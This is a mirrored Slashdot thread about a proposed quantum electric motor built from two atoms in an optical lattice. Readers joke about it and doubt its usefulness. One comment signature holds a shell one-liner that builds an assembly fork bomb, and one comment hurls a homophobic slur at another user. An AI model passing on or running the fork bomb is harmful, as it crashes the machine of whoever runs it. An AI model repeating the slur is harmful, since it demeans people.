Slashdot Mirror
Blueprint For a Quantum Electric Motor
TechReviewAl writes "Alexey Ponomarev from the University of Augsburg in Germany and colleagues have revealed the blueprints for an electric motor built with just two atoms. The motor would have one neutral atom and one charged atom trapped in a ring-shaped optical lattice. The atoms jump from one site in the lattice to the next as they travel around the ring and placing this ring in an alternating magnetic field creates the conditions necessary to keep the charged atom moving round the the ring. A team from the University of Glasgow in the UK in fact built one of these quantum motors back in 2007, which they called an optical ferris wheel for ultracold atoms. 'The next step, say Ponomarev and co, is to attach the motor to a nanoscopic resonator, such as a spring board or nanomushroom, and make it vibrate. If you can do that, they say, you'd be powering a classical object using a quantum motor.'"
maybe you're a dumb faggot
Comment removed based on user account deletion
How exactly is this quantum? Does it spin in both ways at once?
Can you have zillions of these running in parallel with some kick azz nanotech gearbox to make something more efficient than a 'normal' electric motor to power an electric vehicle or something?
Add some tiny little batteries, and you can make a porno version of Tron.
Why, without your clothes, you're naked, Miss Dudley!
at what point did a vibrating nanomushroom become a classical object?
So what exactly is an optical lattice, and why is it not considered part of the motor itself? Other than the fact that "motor made out of only two atoms!" is clearly a better-sounding story, that is.
I suspect a few more atoms were used for the lasers that generate the optical containment and the device that applies the magnetic field and whatever was used to cool those two atoms to near zero Kelvins. Sounds a bit like a quantum physicists' retelling of stone soup.
Obi-Wan: "I felt a great disturbance in the Force, as if millions of voices suddenly cried out in terror and were sudden
Yet another Slashdot post with the word 'vibrate'...
Not really, it would be both running and not running at any given point in time, until you look at it...that can't be good for the calculations.
Funny may not give karma, but +5 Informative never made anyone snort coffee out their nose.
at what point did a vibrating nanomushroom become a classical object?
Well, if you don't call it "classical" people are going to think it's porn!
Pardon me the ignorance here, but what is 'cold atom'?
ELOI, ELOI, LAMA SABACHTHANI!?
I hope this one day scales up to car size. The cops would be able to tell I was speeding on the freeway, but have no idea where I was. Or they would know exactly where I was, but have no idea if I was speeding. HUP FTW!
I'll show myself out....
I judt got a nre Kinesis keybiartf so please excusr ant egregiou typos.
Some day, when technology has advanced to the point of optimizing machines to use every last atom to maximum efficiency, tricks like this will be neat.
Thing is, our post-singularity successors won't be amused by this "two atom" claim - you have to use up lots of atoms to hold everything in place and create the conditions necessary. If the "lattice" weren't there, the atoms wouldn't act like a motor. The fields from the lattice atoms are what create the necessary conditions.
only in Boston.
If it is an quantum motor, how can you tell if it is running without turning it off?
Or rather, efficiency through obscurity.
I've seen an article, where authors said that it is possible to encode quantum information in "holes" in photon flow. For example when you have steady stream of photons, each emitted exactly after the same period, you can actually encode information in photons which should be sent in some cycles, but they need not be really sent. They stated at the end that quantum physics is so strange that a quantum computer which doesn't really work is the best one: it completes calculations and returns real results but because it doesn't work - it doesn't make errors.
Extreme Programming - Redundant Array of Inexpensive Developers
Developments like this are why I think emphasis on conservation at the expense of research into cheap and clean power generation is misguided. I hear a lot of talk from environmentalists about getting people out of their cars. The real effect of those policies will be to get poor people out of their cars while rich people will continue to enjoy the material advantages that personal transportation offers.
I'd rather research cheap and clean power sources and keep poor people in their cars. That's social justice.
I'd love to try some quantum nanomushrooms. Would they simultaneously do nothing and cause me to trip my face off?
Here is a link to the paper that discusses this. It's an interesting read for anyone who cares about physics and theoretical motors. Article here
Happy physics reading. PS: The links are in the top right.
"i lost my dignity on a slippery wiener"
How long before some lab hack claims to have made a nano scale "free energy" machine.....
Of course if you could find some way to make nano machine that could turn latent heat energy into electricity you could theoretically make a device that could make cold air and electricity out of warm air......
Build a couple hundred million of these and we could keep the arctic region cold as ice and supply the tropics with plentiful electrical energy....
Assuming you could tweak the laws of thermodynamics to work this way.....
Tsukasa: All I really want, is to be left alone...
Soon we will be ablr to have Quantum Hard drives
Gilda Radner: "What is all this fuss about Cedar Rapids reaching zero Kevins?"
Chevy Chase: "Emily that unit of temperature is Kelvin, not Kevin."
Gilda: "Oh. Never mind, b****.
I suppose one of the lost Kevins was the physics teacher at Cedar Falls High?
Obi-Wan: "I felt a great disturbance in the Force, as if millions of voices suddenly cried out in terror and were sudden
What are those lattices made of? What is the magnetic field generator made of?
I can make a motor of zero atoms too. I just have to wrap it in a traditional electric motor. :P
Any sufficiently advanced intelligence is indistinguishable from stupidity.
As I said before on similar occasions, those are only calculations on the feasibility of making the atomic motor. As much as these calculations can be difficult, the actual experimental realization is even more complicated. Think for example in the challenges in making the ring shaped optical lattice with atomic precision, while maintaining the atoms cold enough (usually with laser pumps). Only at that point I will be really impressed, and actually start thinking on how to integrate it with more complex molecular machines.
Best band name...ever!
Keep in mind this is a simulation paper (i.e. pretty much a proof of concept). There isn't any device made yet, only in a oversimplified model within a simulation.
Let me give you an analogy: consider a container in the shape of half-a-donut, filled with salty water. Let's put a nonconductive barrier in at one point and place two electrodes on either side. Apply a voltage to the electrodes and ions will start moving through the water, sodium to the negative, chlorine to the positive. Although the ions are moving, we don't call this contraption a "motor". You could try to hook something up to the moving ions (good luck!) and try to move it, and if you succeed in this task it might become a motor. Until then I'd be more inclined to used the word "wire", or heck, no particular word at all.
Same in this experiment. So they make a little cage with a laser interference pattern. Then they stick two atoms in it. Apply some alternating voltage and one atom pushes off the other, hops through a series of "cavities", and hits the other atom again from the other side. Gee, somehow I am not terribly impressed. Not only does it do absolutely nothing useful, it can only complete a single revolution. Oh, and let's not forget all the energy expended on maintaining the lattice, and on keeping the atoms cold. That last requirement shows that you can't ever hope to scale this to room temperature - the more kinetic energy the atoms have, the more intense must the laser confinement be.
It is probably hella close to being an ideal machine.
Pretty shitty if you factor in the energy necessary to power the lasers forming the lattice, the UHV pumps, and the hour-long cooling process involving more high-powered lasers.
This is not about creating something useful now, this is basic research "because we can".
So you didn't even read TFS. Good job.
Do the words "alternating magnetic field" mean anything to you ? or "to keep the atom in constant motion" ?
A vibrating dildo for a protozoan?
I don't know if I should mark this Funny or Interesting
I thought this was already invented:
http://uncyclopedia.wikia.com/wiki/Murphy's_law_application_for_antigravitatory_cats
I don't mean to be flippant but I can't think of any practical application for this motor that isn't somewhat confounded by the requirement for the lasers and the magnetic field generator... TFA seems fairly proud that they've come up with this thing but doesn't really tell us what good it does.
I mean, does it have some massively superb output per unit size? Is the amount of motive energy it creates so great that it massively outweighs the amount of energy put *in* to the system by running the lasers and the magnetic field generator? This all assuming that they succeed in harnessing it, of course.
74.117.115.116 32.97.110.111 116.104.101.114 32.80.101.114 108.32.104.97 99.107.101.114
Okay, call me crazy, but can't EVERY atom-level structure with atoms circling other atoms a "motor"? I'm calling "Patent Troll" !!
We heard like you liked paradoxes so we put quantum superposition in your classical scale universe so you can not spin while you spin.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Link!?!?
Limina.Log
if you can't put a load on it, how can it be a motor?
This is as pointless as one of those thermal expansion vacuum windmill things.
IS THIS SHIT? just tell me what the fuck it is what the fuck it does and how fucking well it does and why i should fucking give a damn fuck
... in powering a quantum object with my classical motor.
Could it work? or wouldn't it? Cats are peculiar creatures.
.
- aqk
F U
Comment removed based on user account deletion